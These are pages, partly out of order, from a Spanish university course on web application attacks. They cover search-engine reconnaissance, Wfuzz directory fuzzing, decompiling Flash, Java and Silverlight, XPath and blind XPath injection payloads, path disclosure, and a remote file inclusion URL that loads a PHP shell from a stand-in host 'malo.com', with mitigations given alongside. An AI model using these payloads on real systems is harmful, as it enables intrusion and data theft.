Para empezar se selecciona un dominio en este caso se ha elegido el dominio
uoces y se ejecuta la siguiente buacutesqueda
siteuocedu
Esta buacutesqueda devuelve 587000 resultados Evidentemente todas estas paacutegi-
nas no pertenecen solo a un dominio sino que habraacute distintos sitios implica-
dos
El proceso es simple Consiste en ver cuaacutel es el subdominio del primer resul-
tado devuelto y antildeadirlo con un siacutembolo ndash (menos) delante Por ejemplo
-www siteuoces
Excluyendo el subdominio www de las buacutesquedas obtendremos un nuacutemero de
paacuteginas devueltas de 631000 Siguiendo este proceso llegaremos hasta generar
una buacutesqueda que no nos devuelva ninguacuten resultado una aproximacioacuten seriacutea
la siguiente
-acc -rusc -elcrps -blogs -personal -eprints -cataleg -osrt -clab -unescochair -elearning
-multimedia -edulab -net -itol -gres -red -lletra -laboralcentrodearte -lpg -elconcept
-biblioteca -comein -foto -guatemala -einflinux1 -cicr -campus -icesd -laos -xequia
CC-BY-NC-ND bull PID_00191662 63 Ataques a aplicaciones web
-dpcs -cimanet -comoras -marroc -colleague -colloque -xina -macedonia -oliba -cv
-www -biblio siteuoces
Cabe recordar que hasta este momento y mediante esta teacutecnica en ninguacuten
momento se ha realizado ninguna peticioacuten directa hacia el dominio uoces
por lo que seriacutea imposible conocer quieacuten estaacute intentando averiguar informa-
cioacuten sobre nuestro dominio
Otras buacutesquedas que podemos encontrar aquiacute son las que nos pueden devolver
todos los ficheros ofimaacuteticos del servidor tales como ficheros doc xls pdf
etc
Estos ficheros en sus distintas versiones incluyen mayor o menor cantidad
de metadatos que tienen informacioacuten acerca de nombres de usuarios o rutas
locales del ordenador donde se generoacute el fichero Con toda esta informacioacuten
un atacante podriacutea empezar a utilizar un programa de fuerza bruta para inten-
tar sacar las contrasentildeas
CC-BY-NC-ND bull PID_00191662 64 Ataques a aplicaciones web
6 Seguridad por ocultacioacuten
Es habitual esconder una llave ldquode emergenciardquo en alguacuten lugar cercano a la
puerta de una casa para que dado el caso podamos entrar si hemos perdido
nuestra llave Evidentemente esto no es nada seguro pues cualquier persona
que la encuentre podraacute acceder al igual que nosotros a nuestra casa
Este siacutemil con la vida real sirve para enlazar la idea con una aplicacioacuten web
Es comuacuten entre los programadores web usar directorios especiacuteficos para acti-
vidades especiacuteficas como la administracioacuten las zonas de pruebas o la subida
de ficheros temporales Algunas de las maacutes comunes son
bull admin
bull logs
bull uploads
bull phpmyadmin
bull tmp
Estos directorios se pueden descubrir mediante pruebas manuales o haciendo
uso de alguacuten programa tipo fuzzer6 que realice las peticiones por nosotros
En este caso lo vamos a usar para automatizar la buacutesqueda de directorios con
nombres conocidos
Wfuzz es un programa de este tipo realiza conexiones a un servidor web sus-
tituyendo en la zona de la URL que nosotros especifiquemos una cadena de
texto que va cogiendo liacutenea tras liacutenea de un fichero de texto
Se puede descargar gratuitamente y lo vamos a usar para realizar una demos-
tracioacuten de los datos que se pueden llegar a obtener mediante esta herramienta
Vamos a aprender a usarla pues la sintaxis es simple
wfuzzexe -z file -f wordlistscommontxt --hc 404 httpwwwvictimacomFUZZ
La liacutenea anterior representa una ejecucioacuten tiacutepica del programa Wfuzz y nos va
a servir como ejemplo para determinar cuaacuteles son los paraacutemetros maacutes uacutetiles a la
hora de realizar un anaacutelisis mediante esta herramienta Con estos paraacutemetros
estaremos indicaacutendole al programa que
bull -z Use el payload de tipo fichero Esto es los nombres de las carpetas ocul-
tas que vamos a buscar se van a coger desde un fichero de texto
(6)Un programa fuzzer es un pro-grama que automatiza tareas repe-titivas
CC-BY-NC-ND bull PID_00191662 65 Ataques a aplicaciones web
bull -f El nombre del fichero que se va a usar En este caso hemos seleccionado
el fichero commontxt que acompantildea al programa y que contiene una lista
de los nombres maacutes comunes de directorios ocultos
bull --hc 404 El paraacutemetro hc nos permite eliminar resultados de la salida del
programa en base al coacutedigo HTTP que se devuelva En el ejemplo se ha
usado el coacutedigo 404 por ser el coacutedigo asociado a los errores en el protocolo
HTTP Tambieacuten se pueden establecer filtros por nuacutemero de liacuteneas (--hl) y
palabras (--hw) que contiene una paacutegina por si nos encontramos con un
servidor que devuelva siempre una paacutegina con coacutedigo 200
bull httpwwwvictimacomFUZZ Allaacute donde coloquemos la palabra fuzz se-
raacute donde el programa incluya en cada peticioacuten la palabra siguiente del fi-
chero especificado
Figura 47 Resultado de la ejecucioacuten del programa Wfuzz
En la imagen anterior apreciamos coacutemo el programa ha detectado una serie
de directorios en el servidor analizado De estos directorios los de ldquopasswordrdquo
y ldquotestrdquo pueden resultar interesantes para comenzar a realizar una revisioacuten de
seguridad
Otra manera de encontrar directorios y ficheros ocultos en una aplicacioacuten es la
buacutesqueda del fichero robotstxt Este fichero es usado por los administradores
de sitios web para evitar que Google y otros buscadores indexen zonas que
no desean
CC-BY-NC-ND bull PID_00191662 66 Ataques a aplicaciones web
Figura 48 Ejemplo de fichero robotstxt
El problema es que mucha gente no entiende completamente el concepto de
este fichero antildeadiendo a eacutel todas las rutas que no quieren que se indexen
aunque no esteacuten enlazados desde ninguacuten sitio (recordemos que los buscado-
res solo indexan si se realiza un enlace desde alguacuten sitio) Por ello podemos
encontrarnos con ficheros robotstxt que contienen referencias a zonas admi-
nistrativas de pruebas privadas
Otro fichero que puede darnos mucha informacioacuten y que al contrario de
los anteriores es informacioacuten puacuteblica es el fichero sitemapxml El fichero
sitemapxml es un fichero propuesto por Google como una manera de indi-
carle al buscador cuaacuteles son las paacuteginas maacutes interesantes de un sitio web y
cuaacuteles son las menos actualizadas Esta informacioacuten parece obvia y podemos
descubrirla nosotros mismos navegando por la paacutegina Sin embargo es de vital
importancia pues nos ahorra tiempo en navegar por el sitio y con una sola
peticioacuten obtenemos un esquema de la estructura del mismo A continuacioacuten
se muestra un ejemplo de un fichero sitemapxml
ltxml version=10 encoding=UTF-8gt
lturlset xmlns=httpwwwsitemapsorgschemassitemap09gt
lturlgt
ltlocgthttpwwwacomltlocgt
ltlastmodgt2005-01-01ltlastmodgt
ltchangefreqgtmonthlyltchangefreqgt
ltprioritygt08ltprioritygt
lturlgt
lturlgt
ltlocgthttpwwwacomnewsltlocgt
ltchangefreqgtweeklyltchangefreqgt
lturlgt
lturlgt
ltlocgthttpwwwacomarchiveltlocgt
ltlastmodgt2004-12-23ltlastmodgt
changefreqgtweeklyltchangefreqgt
CC-BY-NC-ND bull PID_00191662 67 Ataques a aplicaciones web
lturlgt
lturlgt ltlocgthttpwwwacomfaqltlocgt
ltlastmodgt2004-12-23T180015+0000ltlastmodgt
ltprioritygt03ltprioritygt
lturlgt
lturlgt ltlocgthttpwwwacomaboutltlocgt
ltlastmodgt2004-11-23ltlastmodgt
lturlgt
lturlsetgt
61 Descompiladores de applets web
611 Flash
Flash se ha puesto cada vez maacutes de moda como una manera de ofrecer una
interfaz atractiva al usuario final En la actualidad hay multitud de paacuteginas
que hacen un uso casi abusivo de esta tecnologiacutea Pero debemos tener en con-
sideracioacuten algo importante y es que Flash no es maacutes que la capa de presenta-
cioacuten sobre la capa de datos y nunca una uacutenica capa que se encarga de todo
aunque a veces ocurre
Es por ello por lo que estas paacuteginas en Flash si cargan datos dinaacutemicamente
han de llamar a paacuteginas que se los devuelvan en funcioacuten de los paraacutemetros
proporcionados Estos paraacutemetros podriacutean ser vulnerables a las inyecciones de
coacutedigo que se comentaron anteriormente Estas llamadas a ficheros externos
se pueden observar faacutecilmente usando un sniffer del protocolo HTTP
Un ejemplo claro de esto son las paacuteginas que usan un reproductor de audio
en Flash y en las que podemos descargar los ficheros mp3 sin necesidad de ver
el coacutedigo fuente del fichero Flash
CC-BY-NC-ND bull PID_00191662 68 Ataques a aplicaciones web
Figura 49 Captura del fichero mp3 reproducido desde unreproductor web
Tambieacuten es posible en ficheros Flash la descompilacioacuten de los ficheros dando
lugar a un pseudocoacutedigo legible que permitiriacutea a un atacante conocer coacutemo
actuacutea internamente el fichero Ademaacutes es posible convertir el coacutedigo a un en-
samblador de ActionScript7 que podemos modificar y volver a compilar daacuten-
donos la posibilidad por ejemplo de incluir coacutedigo Javascript dentro de un
fichero Flash
Existen muacuteltiples programas para realizar esta accioacuten y aquiacute vamos a mostrar
coacutemo realizar esto mediante el programa Flasm de descarga gratuita
La aplicacioacuten se ejecuta desde consola Recibe el paraacutemetro ndashd para descompi-
lar el fichero swf que recibe Al volcar el coacutedigo por pantalla necesitamos redi-
rigir hacia un fichero de texto la salida del programa En este ejemplo vamos
a realizar la accioacuten con un pequentildeo juego Flash
Figura 50 Ejecucioacuten del comando flasmexe
Este comando parsea el fichero swf y extrae el coacutedigo asociado a eacutel Logra
extraer el coacutedigo y convertirlo en un lenguaje parecido al ensamblador
(7)Es el lenguaje usado internamen-te para programar las aplicacio-nes Flash Tiene una sintaxis pare-cida a Javascript y es un lenguajeinterpretado lo cual significa quepodemos lograr extraer el coacutedigofuente original del fichero swf
CC-BY-NC-ND bull PID_00191662 69 Ataques a aplicaciones web
Figura 51 Volcado del coacutedigo del fichero swf
Conocer el coacutedigo fuente de un fichero swf nos puede ayudar a entender coacutemo
funciona la aplicacioacuten a buscar fallos de seguridad en el coacutedigo o a localizar las
URL a las que hace referencia para cargar informacioacuten dentro de la aplicacioacuten
Flash Una vez localizadas estas URL seriacutea cuestioacuten de probar sobre ellas los
fallos de seguridad comentados en capiacutetulos anteriores
612 Java
Al igual que con los ficheros Flash aunque con menos popularidad en la ac-
tualidad existen los llamados applets Java pequentildeas aplicaciones que se eje-
cutan dentro de nuestro navegador
Java se ejecuta sobre una maacutequina virtual se puede ejecutar el mismo coacutedigo
en cualquier ordenador que implemente la maacutequina virtual de Java Esto tiene
muchas ventajas a la hora de exportar nuestra aplicacioacuten Sin embargo esto
tambieacuten nos permite poder extraer el coacutedigo exactamente igual que lo haciacutea-
mos en Flash
Para realizar esta accioacuten existen programas que efectuacutean esta conversioacuten y nos
muestran el coacutedigo Java original En la captura siguiente el programa usado
es Java Decompiler un programa gratuito que nos permitiraacute realizar estas ac-
ciones
CC-BY-NC-ND bull PID_00191662 70 Ataques a aplicaciones web
Figura 52 Pantalla principal del Java Decompiler
613 NET
Microsoft ha sumado su plataforma NET a la web Existen las aplicaciones
ASPNET que se ejecutan del lado del servidor y que no vamos a poder auditar
maacutes allaacute de los paraacutemetros que reciba Sin embargo estaacute poco a poco expan-
dieacutendose una nueva tecnologiacutea llamada Silverlight Silverlight es un compila-
do NET que se carga desde el servidor mediante un plugin en nuestro navega-
dor Esto al igual que Flash y Java nos permite analizar el coacutedigo fuente de
la aplicacioacuten Silverlight
Figura 53 Aplicacioacuten de muestra de Silverlight
CC-BY-NC-ND bull PID_00191662 71 Ataques a aplicaciones web
En la captura anterior se puede observar una aplicacioacuten Silverlight muy simple
Nos va a solicitar usuario y contrasentildea para lograr entrar Esta aplicacioacuten estaacute
programada para que compruebe los datos introducidos con unos datos que
estaacuten escritos dentro de la aplicacioacuten Esto es un grave fallo de seguridad y
vamos a ver coacutemo analizar el fichero para sacar el usuario y la contrasentildea
vaacutelidos El detalle de coacutedigo Javascript seriacutea
Para descargar una aplicacioacuten Silverlight debemos localizar dentro del coacutedigo
HTML la seccioacuten de coacutedigo que realice la carga del fichero XAP Este fichero
contiene todo el coacutedigo de la aplicacioacuten Silverlight y seraacute lo que nuestro na-
vegador interprete
El fichero XAP contiene una serie de ficheros necesarios para la ejecucioacuten del
programa Estos ficheros son compilados de NET y pueden ser analizados me-
diante programas como NET Reflector Los ficheros contenidos en este fiche-
ro pueden ser extraiacutedos mediante el uso de cualquier programa descompresor
pues realmente es un fichero ZIP
Figura 54ndash Fichero xap descomprimido
Una vez descomprimido se nos muestran una serie de archivos Estos archivos
contienen informacioacuten referente a la interfaz usada por la aplicacioacuten pero
realmente los datos importantes se encuentran en el fichero Test001dll (en el
ejemplo actual) Este fichero puede ser descompilado mediante el programa
indicado anteriormente y acceder al coacutedigo fuente interno En este caso se
observan dos clases principales App y MainPage
CC-BY-NC-ND bull PID_00191662 72 Ataques a aplicaciones web
Figura 55 Detalle del programa descompilado
En la imagen anterior observamos coacutemo en la clase MainPage existe un meacuteto-
do btnOK_Click Este meacutetodo es el llamado cuando pulsamos sobre el botoacuten
de Entrar de la aplicacioacuten En el coacutedigo asociado vemos coacutemo se comprueba el
nombre de usuario con la cadena ldquotestrdquo y la clave con la cadena ldquomelonrdquo
Tanto Silverlight como los applets Java o las aplicaciones Flash son una mera
forma de poner un contenido de una manera maacutes vistosa para el usuario Sin
embargo a veces los desarrolladores web lo usan como un lenguaje de progra-
macioacuten web completamente vaacutelido algo que se ha demostrado muy inseguro
CC-BY-NC-ND bull PID_00191662 73 Ataques a aplicaciones web
Bibliografiacutea
Andreu A (2006) Professional Pen Testing for Web Applications Ed Wrox
Clarke J (2009) SQL Injection Attacks and defense E Syngress
Grossman J et al (2007) Xss Attacks Cross Site Scripting Exploits And Defense Ed Syngress
Scambray J Shema M and Sima C (2006) Hacking Expose Web Applications Ed Mc-Graw-HillOsborne Media
Stuttard D (2007) The Web Application Hackers Handbook Discovering and Exploiting Secu-rity Flaws Ed Wiley
CC-BY-NC-ND bull PID_00191662 47 Ataques a aplicaciones web
Se iraacuten probando letras hasta que se obtenga un resultado positivo que con-
firme que con ese patroacuten se devuelven datos
Figura 37 El valor de department siacute comienza por la letra f porque siacute se obtienen datos
Una vez descubierta la primera letra esta se mantendraacute fija y se procederaacute a
buscar la segunda letra sustituyendo siempre los caracteres obtenidos en la
fase de reduccioacuten del alfabeto
Figura 38 El valor de department no comienza por las letras fa porque no se obtienen datos
Figura 39 El valor de department siacute que comienza por las letras fi porque siacute que se obtienendatos
Este proceso se repetiriacutea con todos los atributos descubiertos y hasta que se
hubieran descubierto todas las letras permitiendo extraer informacioacuten oculta
de los objetos del aacuterbol LDAP
LDAP es una tecnologiacutea en expansioacuten cuya implantacioacuten en los sistemas de di-
rectorio y metadirectorio la hacen cada diacutea maacutes popular Los entornos intranet
realizan uso intensivo de esta tecnologiacutea para ofrecer sistemas de Single Sing-
On e incluso es comuacuten encontrar entornos LDAP en los servicios de Internet
CC-BY-NC-ND bull PID_00191662 48 Ataques a aplicaciones web
Esta popularidad hace que sea necesario incluir las pruebas anteriores dentro
de los procesos de auditoriacutea de seguridad de las aplicaciones web Las pruebas
de inyecciones de auditoriacutea que se estaban realizando hoy en diacutea siguiendo
la documentacioacuten existente son de poca ayuda pues en los entornos maacutes
comunes como ADAM u OpenLDAP no funcionan
La solucioacuten para proteger las aplicaciones frente a este tipo de inyecciones
consiste como en otros entornos de explotacioacuten en filtrar los paraacutemetros en-
viados desde el cliente En este caso filtrar operadores pareacutentesis y comodines
para que nunca un atacante sea capaz de inyectar loacutegica dentro de nuestra
aplicacioacuten
23 XPath
XPath es un lenguaje que permite la buacutesqueda de informacioacuten en do-
cumentos XML por medio de expresiones especiacuteficas para su estructura
Estaacute pensado para optimizar los tiempos de buacutesqueda haciendo uso de
la organizacioacuten de nodos que poseen los ficheros XML
Como cualquier medio para el almacenamiento y buacutesqueda de datos es posi-
ble implementarlo en aplicaciones web de modo que pueden sustituir a los
SGBD (sistema gestor de base de datos) basados en SQL
231 XPath injection y Blind XPath Injection
XPath Injection es una vulnerabilidad que radica en la modificacioacuten de los
paraacutemetros de buacutesqueda a la hora de formar una query XPath
Una inyeccioacuten XPath sucede cuando se inserta coacutedigo XPath dentro de la sen-
tencia y ejecuta el coacutedigo inyectado dentro del motor de buacutesqueda XML
Este tipo de vulnerabilidades basadas en inyecciones (XPath Injection SQL
Injection LDAP Injection) son fallos de seguridad causados por una mala
programacioacuten de la aplicacioacuten que hace la conexioacuten contra el motor de buacutes-
queda sin importar que la aplicacioacuten sea de escritorio o web
Para conocer coacutemo funciona esta teacutecnica en mayor profundidad vamos a su-
poner un caso praacutectico Tenemos una aplicacioacuten web que hace una conexioacuten
contra un aacuterbol XML con la siguiente estructura
ltxml version=10 encoding=UTF-8gt
ltusuariosgt
ltusuario login=admin password=t1oviv0 nivel=3 gt
ltusuario login=usuario password=miPasswordXml nivel=1 gt
ltusuario login=invitado password=invitado nivel=0 gt
CC-BY-NC-ND bull PID_00191662 49 Ataques a aplicaciones web
ltusuariosgt
La aplicacioacuten web maneja un sistema de autenticacioacuten basado en XML donde
para realizar la autentificacioacuten tiene un formulario en el que solicita un usuario
y un password con los que posteriormente formara una query de XPath con
la siguiente estructura
string xpath = usuariosusuario[login= + usuario + and password= + password + ]
En un entorno seguro esta query de XPath no devolveraacute ninguacuten resultado posi-
tivo a no ser que el usuario y el password correspondan con los establecidos en
el documento XML pero si se trata de un entorno inseguro donde los campos
de entrada (usuario y password) no estaacuten filtrados seriacutea posible realizar una
inyeccioacuten
Si un usuario introdujera en el campo password un valor como abclsquo or
lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob seriacutea suficiente para saltarse el sistema de login y acceder
a la zona privada ya que el motor de buacutesqueda XML devolveriacutea un resultado
positivo Teniendo en cuenta que primero se evaluacutean los operadores AND y
posteriormente los OR el resultado booleano que tratariacutea el motor de buacutesque-
da seriacutea el que nos muestra el siguiente ejemplo
Figura 40 Evaluacioacuten de los paraacutemetros en XPath
Como hemos visto con este tipo de inyecciones es posible hacer modificacio-
nes en la query para obtener el resultado deseado (truefalse) pero es posible ir
mucho maacutes allaacute y averiguar la estructura del aacuterbol XML con todos sus nodos
atributos y elementos
Realizar este tipo de ataques es posible Se utiliza una variacioacuten de ldquoXPath
Injectionrdquo llamada ldquoBlind XPath Injectionrdquo la cual consiste en averiguar valores
del aacuterbol XML basaacutendose en el resultado booleano que devuelve la aplicacioacuten
vulnerable
Retomando el caso praacutectico anterior supongamos que cuando realizamos login
en la aplicacioacuten (introduciendo abclsquo or lsquoarsquo=rsquoarsquo or lsquoarsquo=rsquob) la aplicacioacuten
devuelve un mensaje de autentificacioacuten donde dice ldquoBienvenidordquo y en caso
de que la query XPath devuelva un resultado negativo (cuando se realiza una
inyeccioacuten que devuelva false) muestre un mensaje donde diga ldquoUsuario yo
password incorrectordquo
CC-BY-NC-ND bull PID_00191662 50 Ataques a aplicaciones web
En este caso nos encontramos claramente ante una aplicacioacuten vulnerable a
Blind XPath Injection pero si aun asiacute queremos estar seguros de que se trata de
un motor XML y no SQL podemos utilizar funciones como count() la
cual devuelve el nuacutemero total de nodos en el aacuterbol que siempre deberiacutea tener
al menos 1 nodo
bull Inyeccioacuten de cadena alsquo or count()gt0 or lsquoarsquo=rsquob
bull Inyeccioacuten numeacuterica 0 or count()gt0 or 1=1
Tambieacuten es posible la utilizacioacuten de operadores OR en mayuacutesculas ya que
estos no son aceptados en buacutesquedas XML y siacute que lo son en buacutesquedas SQL
(estas admiten operadores tanto en minuacutesculas como en mayuacutesculas) de tal
modo que se podriacutea concluir si el motor de buacutesqueda trabaja con XML
bull Motor SQL lsquo OR 1=1 OR lsquorsquo=rsquo
bull Motor SQLXML lsquo or 1=1 or lsquorsquo=rsquo
Si con esta prueba obtenemos un resultado positivo no hay duda de que es un
sistema XML es vulnerable y ademaacutes es posible extraer todo el aacuterbol XML
iquestcoacutemo utilizando teacutecnicas de ldquobooleanizacioacutenrdquo
El primer paso a la hora de empezar un ataque para descargarse el aacuterbol seriacutea
sacar los valores del nodo raiacutez que contiene el resto de los nodos Los pasos
que habriacutea que realizar seriacutean los siguientes
1) Extraer el nombre del nodo
2) Extraer los atributos del nodo
3) Comprobar si es un elemento3 En caso positivo obtener el valor
4) Calcular el nuacutemero de nodos hijos que contiene el nodo que se estaacute anali-
zando
5) Volver a realizar el paso lsquo1rsquo con los nodos extraiacutedos en el paso lsquo4rsquo
Para extraer el nombre del nodo primero seriacutea necesario calcular el nuacutemero de
caracteres del mismo Esto se puede hacer utilizando la funcioacuten string-length
[PATH]childnode()[position()=[NUMNODO] and string-length (name())gt[NUMERO]]
Donde [PATH] seriacutea el nodo a analizar [NUMNODO] el nuacutemero de nodo (ya
que puede haber varios nodos con el mismo nombre dentro del mismo padre)
y [NUMERO] seriacutea la longitud del nombre del nodo De este modo utilizando
fuerza bruta y teacutecnicas de optimizacioacuten como la buacutesqueda binaria seriacutea posi-
ble sacar la longitud del nombre de la siguiente manera
(3)Si el nodo es un elemento nopuede contener subnodos por loque los pasos 4 y 5 no se realiza-riacutean
CC-BY-NC-ND bull PID_00191662 51 Ataques a aplicaciones web
or childnode()[position()=1 and string-length(name())gt20] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt10] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt5] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt7] or 1=1 and =
or childnode()[position()=1 and string-length(name())gt9] or 1=1 and =
or childnode()[position()=1 and string-length(name())=8] or 1=1 and =
Una vez se sabe que la longitud del nodo son ocho caracteres se puede sacar
el nombre del nodo siguiendo el mismo mecanismo teacutecnicas de ldquobooleaniza-
cioacutenrdquo e imaginacioacuten
or childnode()[position()=1 and starts-with(name()a)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()b)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()c)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()u)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ua)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()ub)] or 1=1 and =
or childnode()[position()=1 and starts-with(name()us)] and =
or childnode()[position()=1 and starts-with(name()usu)] and =
Seriacutea el mismo proceso para cada letra del nombre utilizando un charset de
caracteres y extraer cada caraacutecter desde la posicioacuten 1 hasta la posicioacuten maacutexi-
ma que seriacutea la longitud del nombre extraiacuteda inicialmente
Los pasos para extraer los atributos y elementos seriacutean exactamente los mis-
mos pero variando la consulta XPath con las siguientes plantillas
1) Para extraer informacioacuten referente a los nodos
bull Longitud del nombre
[PATH]childnode()[position()=[NUMNODO] and
string-length(name())gt[NUMERO]]
bull Nombre del nodo
[PATH]childnode()[position()=[NUMNODO] and
starts-with(name()[VALORES])]
bull Nuacutemero de subnodos
count([PATH]childnode())gt[NUMERO]
2) Para extraer la informacioacuten de los atributos
bull Nuacutemero de atributos de un nodo
count([PATH]childnode()[[NUMNODO]])gt[NUMERO]
CC-BY-NC-ND bull PID_00191662 52 Ataques a aplicaciones web
bull Longitud del nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT] and
string-length(name())gt[NUMERO]])gt0
bull Longitud del valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
string-length([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]])gt[NUMERO]
bull Nombre del atributo
[PATH]childnode()[position()=[NUMNODO]] and
[PATH]childnode()[[NUMNODO]][position()=[NUMATT] and
starts-with(name()[VALORES])
bull Valor del atributo
[PATH]childnode()[position()=[NUMNODO]] and
starts-with([PATH]childnode()
[[NUMNODO]][position()=[NUMATT]] [VALORES])
3) Para extraer el contenido de un nodo los elementos
bull Longitud del elemento
string-length([PATH]childtext())gt[NUMERO]
bull Valor del elemento
starts-with([PATH]childtext()[VALORES])
Esta teacutecnica puede resultar muy tediosa y lenta si se realiza manualmente pero
para ello ya existen herramientas que hacen este proceso de forma automaacuteti-
ca y ademaacutes utilizan teacutecnicas de optimizacioacuten como reduccioacuten del charset
para encontrar los datos realizando un reducido nuacutemero de consultas
Implementar una reduccioacuten de charset es algo simple basta con hacer una
query por cada caraacutecter y comprobar si ese caraacutecter existe en alguacuten nodo ele-
mento o atributo del aacuterbol En caso negativo se elimina ese caraacutecter del char-
set Esto puede hacerse con la siguientes query
[contains(name() a)] or [contains(name() a)]
or attribute[contains(a)] or contains( a)
Si esta nos devuelve un resultado positivo se mantiene la letra lsquoarsquo en el charset
de letras a probar sin embargo si nos devuelve la paacutegina que hemos asociado
a una peticioacuten falsa podremos eliminar el caraacutecter a del resto de pruebas a
realizar pues ya sabremos que nunca va a aparecer
CC-BY-NC-ND bull PID_00191662 53 Ataques a aplicaciones web
Otra teacutecnica interesante para la optimizacioacuten del Blind XPath Injection es el
de ldquolearn wordsrdquo de modo que cuando se extrae el nombre de un nodo ele-
mento o atributo se guarda en una lista Cuando se encuentre otro nodoele-
mentoatributo de una longitud de nombre igual a la de alguacuten elemento ya
extraiacutedo hacer comprobaciones con los nodos ya conocidos pues es probable
que si tienen la misma longitud tengan el mismo nombre
En la siguiente imagen se muestra una herramienta en funcionamiento una
vez descargado el aacuterbol XML de una aplicacioacuten web vulnerable
Figura 41 Aacuterbol XML extraiacutedo mediante una aplicacioacutenautomatizada
232 iquestCoacutemo protegerse de teacutecnicas de XPath Injection
La proteccioacuten contra este tipo de teacutecnicas es muy simple y debe correr de
la mano del programador de la aplicacioacuten Uacutenicamente hay que realizar un
filtrado de las entradas teniendo en cuenta dos factores
bull Si la entrada es numeacuterica antes de formar la query comprobar que el valor
introducido en la entrada es un valor numeacuterico y no una cadena de texto
bull Si la entrada es de texto remplazar los caracteres peligrosos como la comi-
lla simple y doble por rsquo y rdquo
CC-BY-NC-ND bull PID_00191662 54 Ataques a aplicaciones web
3 Ataques de Path Transversal
Mediante las teacutecnicas de Path Transversal se va a lograr acceder a in-
formacioacuten referente al servidor desde simplemente el directorio donde
se estaacute ejecutando la aplicacioacuten web hasta lograr descargar ficheros del
servidor Cada uno de estos fallos recibe un nombre y lo estudiaremos
por separado
La informacioacuten obtenida puede ser usada por un atacante para lograr acceder
a otros recursos de la paacutegina mediante alguacuten tipo de ingenieriacutea social o dedu-
ciendo posibles nombres de ficheros yo carpetas para posteriormente acceder
a ellos
Vamos a analizar desde los menos peligrosos hasta los maacutes criacuteticos viendo
coacutemo unos se apoyan en los anteriores y coacutemo en cierta medida dependen
unos de los otros y realmente estaacuten muy relacionados entre siacute
31 Path Disclosure
Este problema no es especiacutefico de una tecnologiacutea sino que puede darse en
cualquier lenguaje de programacioacuten y en cualquier tecnologiacutea de servidor Es-
ta vulnerabilidad no es criacutetica por siacute misma pero puede facilitar las cosas a
un atacante que intente cualquiera de los fallos que se comentaraacuten posterior-
mente
El concepto es lograr conocer la ruta en la que se estaacute ejecutando la apli-
cacioacuten Para ello nos valdremos de mensajes de error (provocados o no)
que contengan rutas a ficheros Esto lo lograremos introduciendo carac-
teres erroacuteneos en los paraacutemetros o accediendo a rutas que no existan
Figura 42 Fallo de Path Disclosure
CC-BY-NC-ND bull PID_00191662 55 Ataques a aplicaciones web
Este mensaje de error puede darse al intentar reproducir cualquiera de los de-
maacutes fallos explicados en esta seccioacuten Normalmente los lenguajes de progra-
macioacuten del lado del servidor si no tienen los errores controlados mostraraacuten
un mensaje de error predefinido que usualmente contiene la ruta del fichero
afectado
Evitar este tipo de errores es tan sencillo como generar nuestras propias paacutegi-
nas de error Tambieacuten controlar cualquier tipo de excepcioacuten en el coacutedigo es
buena praacutectica En definitiva no dejar que los mensajes por defecto se mues-
tren nunca al usuario
CC-BY-NC-ND bull PID_00191662 56 Ataques a aplicaciones web
4 Ataques de inyeccioacuten de ficheros
41 Remote file inclusion
Remote file inclusion es la vulnerabilidad consistente en ejecutar coacutedigo
remoto dentro de la aplicacioacuten vulnerable Se basa en la idea de que al
igual que es posible cargar un fichero local para su inclusioacuten dentro de la
paacutegina podriacuteamos cargar uno remoto que contuviese coacutedigo malicioso
Esto es posible en lenguajes interpretados donde podemos incluir un fichero
con coacutedigo y antildeadirlo a la ejecucioacuten En el siguiente ejemplo se toma como
base una paacutegina programada en PHP
httpwwwmipaginacommostrarphppag=indexphp
PHP hace uso de funciones que permiten la inclusioacuten de ficheros externos
para generar paacuteginas maacutes complejas y maacutes completas En el hipoteacutetico ejemplo
anterior el fichero mostrarphp hariacutea uso de alguna de estas funciones de PHP
que permiten la inclusioacuten dinaacutemica de ficheros
bull include($pag)
bull require($pag)
bull include_once($pag)
bull require_once($pag)
Estas funciones reciben un paraacutemetro (llamado $pag en este ejemplo) que in-
dica la ruta del fichero que ha de incluirse Si la variable pag no estaacute suficien-
temente controlada podremos hacer una llamada a un fichero externo que se
descargaraacute e interpretaraacute en el lado del servidor
httpwwwmipaginacommostrarphppag=httpmalocomshelltxt
En la llamada anterior el servidor mipaginacom solicitaraacute a malocom el
fichero shelltxt que incluiraacute coacutedigo PHP vaacutelido que se ejecutaraacute en
mipaginacom
Este fallo se debe a una mala configuracioacuten del servidor PHP el cual permite la
inclusioacuten de ficheros externos La configuracioacuten correcta deberiacutea ser la prohi-
bicioacuten total de realizar estas acciones
CC-BY-NC-ND bull PID_00191662 57 Ataques a aplicaciones web
Para establecer una configuracioacuten adecuada en el inteacuterprete de PHP debemos
buscar el fichero phpini de configuracioacuten (en Linux suele estar en etc
php5phpini) y establecer la clave de configuracioacuten allow_url_include
a false
Este fallo de seguridad puede dar lugar a que un atacante logre ejecutar cual-
quier coacutedigo deseado en el servidor web con los riesgos que esto conlleva
Existen ficheros ya pregenerados para ser incluidos dentro del flujo de ejecu-
cioacuten de la aplicacioacuten web Van desde un simple inteacuterprete de comandos a una
completa shell equipada con su propio explorador de ficheros opciones pa-
ra subir o descargar ficheros e incluso la posibilidad de ejecutar programas en
el equipo remoto
Figura 43 Shell remota ejecutaacutendose
Existe una gran variedad de shells remotas que podemos encontrar en Internet
Por ejemplo la shell mostrada en la figura anterior se llama c99 aunque existen
otras como la r57 o c100 De todas maneras siempre podemos programarnos
una propia con la funcionalidad que necesitemos
42 Local file inclusion
Esta vulnerabilidad al contrario que la anterior afecta tanto a lenguajes com-
pilados como interpretados Se basa en la posibilidad de incluir dentro de la
paacutegina un fichero local del usuario con el que se ejecuta el servidor de aplica-
ciones web que tenga permisos de lectura
Esta vulnerabilidad puede ocurrir en cualquier lugar de un sitio web pero suele
ser maacutes comuacuten en dos sitios bien diferenciados
bull Paacuteginas de plantillas carga un fichero desde otro y le da formato
CC-BY-NC-ND bull PID_00191662 58 Ataques a aplicaciones web
